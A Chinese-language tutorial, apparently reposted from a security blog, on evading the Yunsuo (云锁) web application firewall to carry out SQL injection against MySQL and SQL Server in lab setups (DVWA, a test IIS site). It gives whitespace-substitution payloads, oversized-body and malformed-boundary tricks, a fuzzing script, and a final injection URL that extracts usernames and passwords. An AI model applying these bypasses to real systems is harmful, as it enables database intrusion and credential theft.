MySQL特性
空格可以由其它字符替代
select id,contents,time from news where news_id=1①union②select③1,2,username④from⑤admin
- 位置①
- 可以利用其它控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0
- 可以利用注释符号替换空格:/**/、%23test%0d%0a、 —+a%0d%0a
- 可以利用数学运算以及数据类型:news_id=1.0,news_id=1E0,news_id=\N
- 位置②
- 可以利用其它控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0
- 可以利用注释符号替换空格:/**/、%23test%0d%0a、 —+a%0d%0a
- 可以利用括号:union(select 1,2)
- 位置③
- 可以利用其它控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0
- 可以利用注释符号替换空格:/**/、%23test%0d%0a、 —+a%0d%0a
- 可以利用其它符号:+ 、- 、 ~ 、!、@
- 位置④
- 可以利用其它控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0
- 可以利用注释符号替换空格:/**/、%23test%0d%0a、 —+a%0d%0a
- 大括号{}:union select {“1},{x 2}
- 可利用数学运算以及数据类型:
union select usename,2.0from admin
union select username,8e0from admin
union select username,\Nfrom admin
- 位置⑤
- 可以利用其它控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0
- 可以利用注释符号替换空格:/**/、%23test%0d%0a、 —+a%0d%0a
- 反引号`:union select 1,table_name,3 from`information_schema`.`tables`limit 0,1%23
- 内联注释:union select 1,table_name,3 from /*!50001information_schema.tables*/ limit 0,1%23
- 大括号{}:union select 1,table_name,3 from{x information_schema.tables}limit 0,1%23
- 小括号():union select 1,table_name,3 from(information_schema.tables)limit 0,1%23
实验环境
靶场:DVWA(low级别)
数据库:MySQL 5.5
Web脚本:PHP 5.4.19
WAF:云锁-win_3.1.20.24
超大数据包绕过
绕过原理
资源限制:WAF长度资源限制
假如HTTP请求POST BODY太大,检测所有内容,WAF集群消耗太多的CPU、内存资源。因此许多WAF只检测前面的2M或4M的内容。对于攻击者而言,只需要在POST BODY前面添加许多无用的数据,把攻击的payload放在最后即可绕过WAF检测。
实验步骤
首先使用BurpSuite抓取数据包,并记下数据包的Header信息
编写好我们的Python脚本进行FUZZ:
执行脚本:
将返回的内容粘贴至BurpSuite
从响应内容可以看出,我们构造好的脏数据已经成功绕过了WAF
然而又有一个问题,当我们想要查询数据时,仍然被WAF拦截
这是因为云锁对select+关键信息
做了规则匹配
这时我们可以使用多行注释符/**/
加脏数据的方法去绕过WAF
构造数据包:
注:如果想要查询函数,如database(),需要在database与括号之间插入注释符与脏数据,database/*脏数据*/()
畸形的boundary绕过
绕过原理
HTTP协议兼容性:HTTP Body的多样性
规则缺陷/特性:WAF对boundary识别的局限性
PHP在解析multipart data的时候有自己的特性,对于boundary的识别,只取了逗号前面的内容,例如我们设置的boundary为——aaaa,123456,php解析的时候只识别了——aaaa,后面的内容均没有识别。然而WAF在做解析的时候,有可能获取的是整个字符串,此时可能就会出现绕过。
实验步骤
首先使用BurpSuite进行抓包,并发送到Repeater
点击右键,选择修改请求方法,将GET请求转换为POST请求
再点击右键,选择修改body编码,将内容提交协议更改为multipart/form-data
先使用联合查询测试是否会被WAF拦截
果然被拦截了,说明WAF的规则是覆盖到multipart/form-data协议的
我们修改下boundary的值,再发送数据包
WAF并未拦截,成功利用该方法绕过
Bypass云锁SQLServer注入
SQLServer特性
空格可以由其它字符替代
select id,contents,time from news where news_id=1①union②select③1,2,db_name()④from⑤admin
- 位置①
- 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
- 可以利用注释符号:/**/、—+a%0d%0a
- 可利用数学运算符以及数据类型:news_id=1.0,news_id=1e0,news_id=1-1
- 位置②
- 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
- 可以利用注释符号:/**/、—+a%0d%0a
- 可以利用加号+替换空格:union+select
- 位置③
- 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
- 可以利用注释符号:/**/、—+a%0d%0a
- 可利用数学运算符:+、-、~、. (注:其中-、~、.号必须是select查询的第一个字段的数据类型为数字型才能使用)
- 可以利用小括号()替换空格:select(1),2,db_name()
- 位置④
- 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
- 可以利用注释符号:/**/、—+a%0d%0a
- 可利用其他字符:%80~%FF(需要IIS服务器支持)
- 位置⑤
- 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
- 可以利用注释符号:/**/、—+a%0d%0a
- 可利用其他字符:%80~%FF(需要IIS服务器支持)
- 可以利用点号.替换空格:from.users
- 可以利用中括号[]替换空格:from[users]
实验环境
数据库:SQL Server 2008R2
Web服务器:IIS7.5 CN
WAF:云锁-win_3.1.20.24
靶场源码如下:index.aspx
绕过原理
HTTP协议兼容性:HTTP Method的多样性
规则缺陷/特性:IIS中的GET请求可以传输POST数据
大家的常识是GET参数通过URL传递,POST放在Request body中。
但是在某些中间件(如IIS)中的GET请求同样可以传输POST数据。
实验步骤
首先使用POST方法发送数据,并使用BurpSuite抓取数据包
将POST请求方法改为GET请求方法,发现仍然是可以发送数据的
在请求体中构造我们的payload,可以绕过云锁WAF实现SQL注入
注:使用IIS服务器部署的Web应用也可以用该方法去绕过云锁
多行注释符替代空格绕过【未成功】
绕过原理
规则缺陷/特性:数据库空格可使用其它字符替代
在进行SQL语句查询的时候可以利用注释符来替代语法中的空格,例如:
实验步骤
首先使用BurpSuite抓取数据包,并记下数据包的Header信息
编写好我们的Python脚本进行FUZZ:
这个脚本使用的是python3编写,生成以特殊符号开头的无效字符,使用POST方法进行FUZZ
执行脚本:
这里发现一个规律:注释符/**/中的无效字符都是以!
开头,形如MySQL中的内联注释符。这可能是云锁在数据清洗时未对这两个数据库做严格区分,造成绕过
选择一个payload进行测试
但是在查询关键函数的时候仍会被拦截
这时候不用慌,可以采用特殊符号插入函数名与括号之间,或直接插入空格即可
然而,在构造payload进行爆账号密码时,却被拦截
查看后台告警信息
云锁会自动将注释符转换为空格,从而判断是否存在违规操作。
在尝试多次后,这种方法终究不能完美绕过云锁。但在测试的过程中却意外发现了另外一种简单的云锁绕过方式。
注释符与回车符结合绕过
绕过原理
规则缺陷/特性:数据库空格可使用其它字符替代
在尝试使用多行注释符替换空格的过程中,意外地发现了一个绕过方法:
可以利用注释符与回车符结合来替代语法中的空格:
这可能是云锁在过滤中的疏忽导致的绕过
实验步骤
如果想要知道除了%0d还有哪些字符可以绕过云锁,可以编写一个简单的python脚本进行FUZZ
#! /usr/bin/env python
# -*- coding:utf-8 -*-
import requests
import time
headers = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0'}
base_url = "http://hackrock.com:8205/index.aspx"
def generate_str():
url_str = []
base_str = '0123456789abcdef'
for i in base_str:
for j in base_str:
url_str.append('%'+i+j)
return url_str
url_str = generate_str()
for i in url_str:
url = base_url + "?id=-1--" + i + "union select 1,'2','3'"
try:
time.sleep(1)
response = requests.get(url, headers=headers, timeout=0.5)
len_text = len(response.text)
if response.status_code == 200:
print(url)
print(len_text)
except:
pass
但测试下来只有%0d可以绕过,且能正常爆出数据
http://hackrock.com:8205/index.aspx?id=-1--%0dunion select 1,username,password from dbo.users
转自:hack学习呀